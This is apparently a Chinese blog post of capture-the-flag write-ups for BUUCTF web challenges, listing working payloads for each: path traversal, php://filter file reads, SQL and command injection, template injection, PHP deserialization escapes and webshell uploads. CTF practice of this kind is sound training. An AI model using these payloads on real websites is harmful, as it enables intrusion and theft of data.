CTF² BUUCTF Web 第一页

📅 2026/7/27 9:05:39 👁️ 阅读次数 📝 编程学习
CTF² BUUCTF Web 第一页

[HCTF 2018]WarmUp

查看前端源码

访问source.php

传一个白名单中的文件名:/source.php?file=hint.php

得知flag在ffffllllaaaagggg文件中,只是不知道这个文件的位置,一层层找就行了。

payload:/source.php?file=hint.php?./../../../../ffffllllaaaagggg

CTF2{867b6e9d-9321-4f61-bbbb-57d0f93e3b4a}

[ACTF2020 新生赛]Include

点击tips

url中出现了/?file=flag.php,结合题目标题中的include;所以猜测flag在flag.php文件中,只不过被注释了,需要想办法得到这个文件的源码。

payload:/?file=php://filter/read=convert.base64-encode/resource=flag.php

base64解密:PD9waHAKZWNobyAiQ2FuIHlvdSBmaW5kIG91dCB0aGUgZmxhZz8iOwovL0NURjJ7MjcwZDJjZjYtOTA4Zi00Nzk0LTk3M2YtM2NjZTZmMmI2NGUzfQo=

CTF2{270d2cf6-908f-4794-973f-3cce6f2b64e3}

[极客大挑战 2019]EasySQL

admin 1' or 1=1 #

CTF2{bb29ad8b-a8d3-4fa8-a5a0-8c6c64a1dada}

[ACTF2020 新生赛]Exec

127.0.0.1|ls /

127.0.0.1|cat /flag

CTF2{0249a8ed-64db-4fbd-a691-49da5fcd9ee0}

[极客大挑战 2019]Havefun

查看前端源码

payload:/?cat=dog

CTF2{7d59e3fd-0af1-4437-b4ee-16a50dadbd1b}

[极客大挑战 2019]LoveSQL

1' or 1=1 # 1

登录成功后,尝试在url上进行sql注入

1%27order by 3%23

1%27union select 1,2,3%23

1%27union select 1,database(),3%23

1%27union select 1,2,group_concat(table_name) from information_schema.tables where table_schema="geek"%23

1%27union select 1,2,group_concat(column_name) from information_schema.columns where table_schema="geek" and table_name="l0ve1ysq1"%23

1%27union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23

CTF2{b04b5839-de53-4d26-b347-09620afa172d}

[强网杯 2019]随便注

过滤内容:

1';show tables;

1';show columns from words;

1';show columns from `1919810931114514`;

flag应该就在这个数字表中,需要想办法查看表中的内容。

方法1:绕过select

1';prepare hack from concat('s','elect',' * from `1919810931114514`');execute hack;

方法2:使用未被过滤的查询命令handler

1';handler `1919810931114514` open;handler `1919810931114514` read first;handler `1919810931114514` close;

方法3:利用程序中已经存在的sql语句

1' or 1=1;

查询出来的是两个字段的内容,说明查询的是words表。所以:

1';rename table words to wordsNEW;rename table `1919810931114514` to words;alter table words add id int(10) default 123;alter table words change flag data varchar(100);

1' or 1=1;

CTF2{f23f87fd-eb4a-40ef-97c7-9bb5ec3561cb}

[ASIS 2019]Unicorn shop

购买商品4

提示只能输入一个字符

id和price都不输入,直接点击purchase!,结合信息可以得知:需要输入一个大于1337的Unicode字符来购买商品4:ↁ

CTF2{f9cc8ff1-b9fb-48a8-a3a9-0fca39be428f}

[SUCTF 2019]EasySQL

后端sql语句:$sql = "select ".$post['query']."||flag from Flag";

方法1:*,1

方法2:1;set sql_mod=PIPES_AS_CONCAT;select 1

CTF2{56db5c0b-dccc-4f99-a2d8-e14f55ee2284}

[GXYCTF2019]Ping Ping Ping

/?ip=127.0.0.1

/?ip=127.0.0.1|ls

/?ip=127.0.0.1|cat$IFS$1index.php

/?ip=127.0.0.1|cat$IFS$1`ls`

查看前端源码

CTF2{6e81b963-5435-4571-9fcf-735216e547d4}

[极客大挑战 2019]Knife

蚁剑连接

/flag

CTF2{f2e6f2a7-90b7-481d-beb2-e56d97fea4d6}

[0CTF 2016]piapiapia

目录扫描

下载www.zip后打开,得到

flag在config.php中,但不可见,要想办法读取config.php文件的内容

在profile.php中发现file_get_contents文件读取函数,读取的是profile中的photo

在update.php中得到:phone和email有严格的正则要求,而photo又不能直接赋值,所以只能从nickname入手

class.php中定义了一个替换函数,主要可供利用的地方是where被替换为hacker,增多了一个长度

并且这个替换函数应用到了序列化后的update_profile函数和反序列化前的show_profile函数中

<?php $profile['phone'] = '12345678901'; $profile['email'] = '1234567890@qq.com'; $profile['nickname'] = 'where'; $profile['photo'] = 'config.php'; echo serialize($profile);

正常序列化后的内容为:

a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:17:"1234567890@qq.com";s:8:"nickname";s:5:"where";s:5:"photo";s:10:"config.php";}

这其中的";s:5:"photo";s:10:"config.php";}是要逃逸的字符,它的长度为33、需要33个where

<?php $profile['phone'] = '12345678901'; $profile['email'] = '1234567890@qq.com'; $profile['nickname'] = 'wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";s:5:"photo";s:10:"config.php";}'; $profile['photo'] = 'config.php'; $a = serialize($profile); $b = preg_replace('/where/','hacker',$a); echo $b;

结果:

a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:17:"1234567890@qq.com";s:8:"nickname";s:198:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";s:5:"photo";s:10:"config.php";}";s:5:"photo";s:10:"config.php";}

33个hacker的长度为198,这样要逃逸的字符就成功被吐出来了。而nickname的长度限制可以用数组来绕过,先看下传入数组后的序列化

<?php $profile['phone'] = '12345678901'; $profile['email'] = '1234567890@qq.com'; $profile['nickname'] = array('wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";s:5:"photo";s:10:"config.php";}'); $profile['photo'] = 'config.php'; $a = serialize($profile); echo $a;

结果为:

a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:17:"1234567890@qq.com";s:8:"nickname";a:1:{i:0;s:198:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:10:"config.php";}

主要是需要手动添加一个}来闭合前面a:1:{i:0中的{ 也就是说逃逸的字符为33+1个,需要34个where将";}s:5:"photo";s:10:"config.php";}这34个字符吐出来

解题:

在register.php中发现,账号密码有长度限制

去到register.php页面,账号密码输入1234后,点击注册

注册成功后,返回登录,跳转到update.php页面

先搞好其它三个再抓包

nickname[]

wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

放包

点击Your Profile

查看前端源码

将这串b64解密

CTF2{b6466ebe-379e-4313-860c-6051aae568d3}

[极客大挑战 2019]Upload

检查了MIME、图片头;过滤了php、<?

放包

http://52b33034566783dce2430777.http-ctf2.dasctf.com/upload/js_pony.phtml

蚁剑

CTF2{b0a25905-5344-4c44-83fe-6a69063f0c95}

[极客大挑战 2019]BabySQL

1 1'

双写绕过:1%27ununionion selselectect 1,2,3'

1'ununionion selselectect 1,database(),3'#

1'ununionion selselectect 1,group_concat(table_name),3 frfromom infoorrmation_schema.tables whwhereere table_schema="geek"'#

1'ununionion selselectect 1,group_concat(column_name),3 frfromom infoorrmation_schema.columns whwhereere table_schema="geek" aandnd table_name="b4bsql"'#

1'ununionion selselectect 1,group_concat(id,username,passwoorrd),3 frfromom b4bsql%23

CTF2{67c6e55e-9c5e-4d06-a673-c244073c21d6}

[极客大挑战 2019]Secret File

查看源码

访问:/Archive_room.php

点击SECRET

此页面和Archive_room.php页面中的前端源码都没有什么信息,而又提示回去再仔细看看:抓包SECRET,send重放器,查看响应

访问secr3t.php

文件包含,没过滤filter伪协议:/secr3t.php?file=php://filter/read=convert.base64-encode/resource=flag.php

base64解密

CTF2{7114f0de-5b4c-4819-a618-b5a47929805c}

[护网杯 2018]easy_tornado

flag.txt:

得知flag在/fllllllllllllag中

hint.txt:

得知filehash的加密逻辑:md5(cookie_secret+md5(filename))

只差一个cookie_secret不知道

结合题目标题,在报错页面尝试tornado模版注入:

{{}}可执行

过滤了*等其它内容

获取配置字典:{{handler.settings}}

6df65f8b-d851-441e-a2ef-9ca92e844080

import hashlib filename = "/fllllllllllllag" cookie_secret = "6df65f8b-d851-441e-a2ef-9ca92e844080" result = hashlib.md5((cookie_secret+hashlib.md5(filename.encode()).hexdigest()).encode()).hexdigest() print(result)

227cfdd53973ab3593838012d6e2e7d2

payload:/file?filename=/fllllllllllllag&filehash=227cfdd53973ab3593838012d6e2e7d2

CTF2{f700a3bd-a109-499d-9219-de7dc63d3048}

[ACTF2020 新生赛]BackupFile

目录扫描

下载备份文件index.php.bak

payload:/?key=123

CTF2{9723aea2-53cc-415b-ad3b-bf9ca64a7f12}

[ACTF2020 新生赛]Upload

尝试上传小马

弹窗提示限制后缀,这种弹窗大概率是前端的限制过滤,所以:

将checkFile()改为true即可

也可以在设置中禁用当前页面的js

后端过滤了php后缀,用phtml代替即可

CTF2{d6a563c3-d076-44f7-aea4-1d7b7eeaf63e}

[极客大挑战 2019]EasySQL

1 1' or 1=1 #

CTF2{7895a856-d89d-4186-afd7-491abecb0e7f}

[极客大挑战 2019]PHP

目录扫描

下载www.zip

在class.php中发现:需要username等于admin才会输出flag;前置条件需要绕过wakeup魔术方法以及password等于100。

<?php class Name{ private $username = 'admin'; private $password = 100; } $exp = serialize(new Name()); $exp = str_replace(":2",":3",$exp); echo urlencode($exp);

index.php:

payload:/index.php?select=O%3A4%3A"Name"%3A3%3A{s%3A14%3A"%00Name%00username"%3Bs%3A5%3A"admin"%3Bs%3A14%3A"%00Name%00password"%3Bi%3A100%3B}

CTF2{9b1df071-705d-4d24-b8b7-440917e03248}